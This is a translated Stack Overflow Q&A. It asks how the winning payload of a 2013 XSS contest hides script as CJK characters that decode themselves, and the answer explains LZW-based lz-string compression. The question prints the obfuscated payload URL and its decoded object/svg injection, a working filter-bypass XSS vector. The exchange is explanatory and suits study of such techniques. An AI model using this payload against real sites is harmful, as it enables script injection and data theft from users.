这个javascript压缩技术如何工作?

时间:2014-04-16 21:05:07

标签: javascript compression xss obfuscation

我正在检查涉及XSS(link)的安全竞赛的结果,并发现了一些精彩且可怕的JS XSS payloas。获胜者(@kinugawamasato)使用了一种javascript压缩技术,这对我来说似乎完全不同于世界:

压缩有效载荷:

https://cure53.de/xmas2013/?xss=<scriPt>document.write(unescape(escape(location)
.replace(/u(..)/g,'$1%')))<\/scriPt>㱯扪散琠楤㵥⁣污獳楤㵣汳楤㨳㌳䌷䉃㐭㐶うⴱㅄ〭
䉃〴ⴰ〸ぃ㜰㔵䄸㌠潮牯睥湴敲㵡汥牴⠯繷⸪ℱ⼮數散⡲散潲摳整⠰⤩⤾㱳癧湬潡搽攮摡瑡畲氽慬汛攮
牯睤敬業㴳㍝⬧㽳慮瑡㵀Ⅱ汬潷彤潭慩湳㴧⭤潭慩渻攮捨慲獥琽❵瑦ⴷ✾

真正发生的事情:

<object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 onrowenter=alert(/~w.*!1/.exec(recordset(0)))><svg onload=e.dataurl=all[e.rowdelim=33]+'?santa=@!allow_domains='+domain;e.charset='utf-7'>

这项技术是否已在某处记录,以便我可以研究它?这件事有多么可行?是否已经有一些javascript压缩器以自动方式执行此操作? WAF将如何对这样的有效载荷作出反应?

您可以看到更多示例here

1 个答案:

答案 0 :(得分:3)

每当将任何数据放入localStorage时,我都会使用lz-string库进行JS压缩。我只是这个库的用户 - 而不是压缩专家。但这是可以在该工具周围找到的信息......

lz-string目标:

  

lz-string旨在满足localStorage中存储大量数据的需求,特别是在移动设备上。 localStorage通常限制为5MB,您可以压缩的是您可以存储的更多数据。

     

...   我(注意:&#34;我&#34;意思是,Pieroxy,lz-string的作者)从LZW实现开始(没有更多的专利),这非常简单..

所以,基础,这个实现的基础是LZW,Javascript client-data compressionAndy E提到Wikipedia article on LZW。让我指出

Wikipedia - Encoding的摘录:

  

Welch的1984描述的场景将8位数据序列编码为固定长度的12位代码。从0到255的代码表示由相应的8位字符组成的1字符序列,并且在字典中为编码时在数据中遇到的序列创建代码256到4095。在压缩的每个阶段,输入字节被收集到一个序列中,直到下一个字符生成一个序列,而该字典中还没有代码。序列的代码(没有该字符)被添加到输出中,并且新的代码(具有该字符的序列)被添加到字典中。

lz-string-1.3.3.js

  

此处显示了编码算法的高级视图:

     
      
  1. 初始化字典以包含长度为1的所有字符串。
  2.   
  3. 在字典中找到与当前输入匹配的最长字符串W.
  4.   
  5. 发出W的字典索引以输出并从输入中删除W.
  6.   
  7. 添加W,然后在字典输入中添加下一个符号。
  8.   
  9. 转到第2步。
  10.   

如果我们可以在这里观察lz-string,它是如何工作的:

让我引用已经提及的http://pieroxy.net/blog/pages/lz-string/demo.html

中的几个步骤
  

我做的是:

     
      
  • localStorage只能包含JavaScript字符串。 JavaScript中的字符串内部存储在UTF-16中,这意味着每个字符的权重为16位。我修改了实现以使用16位宽的令牌空间。
  •   
  • 我必须删除默认的字典初始化,在16位宽的令牌空间上完全没用。
  •   
  • 我用三个标记初始化字典:      
        
    • 生成16位令牌的条目。
    •   
    • 一个产生8位令牌的条目,因为我将存储的大部分内容都在iso-latin-1空间中,这意味着令牌低于256。
    •   
    • 标记流结束的条目。
    •   
  •   
  • 输出由比特流处理,该比特流在输出字符串中每个字符有效存储16位。
  •   
  • 每个令牌都存储有根据字典大小所需的位数。因此,第一个令牌占用2位,第二个占用第7位,等等....
  •   

嗯,现在我们知道,通过这些压缩技术,我们得到16位信息。我们可以在此演示中测试它:here (或/和另一个{{3}})

Hello, world.转换为

85 04 36 30 f6 60 40 03 0e 04 01 e9 80 39 03 26
00 a2

所以我们需要最后一步,让我再说一次:

  

好吧,这个lib产生的东西不是真正的字符串。通过使用UTF-16位空间的所有16位,这些字符串不是完全有效的UTF-16。在版本1.3.0中,我添加了两个辅助编码器来生成我们可以使用的东西:

     
      
  • compress生成无效的UTF-16字符串。这些只能存储在localStorage的webkit浏览器上(在Android,Chrome,Safari上测试)。可以使用decompress
  • 解压缩   

继续我们的示例,Hello, world.将转换为

҅〶惶̀Ў㦀☃ꈀ

最后它就是这样。我们可以看到,所有 ...其他拉丁字符...... 的集合来自最终转换为UTF-16。希望,这会给出一些提示......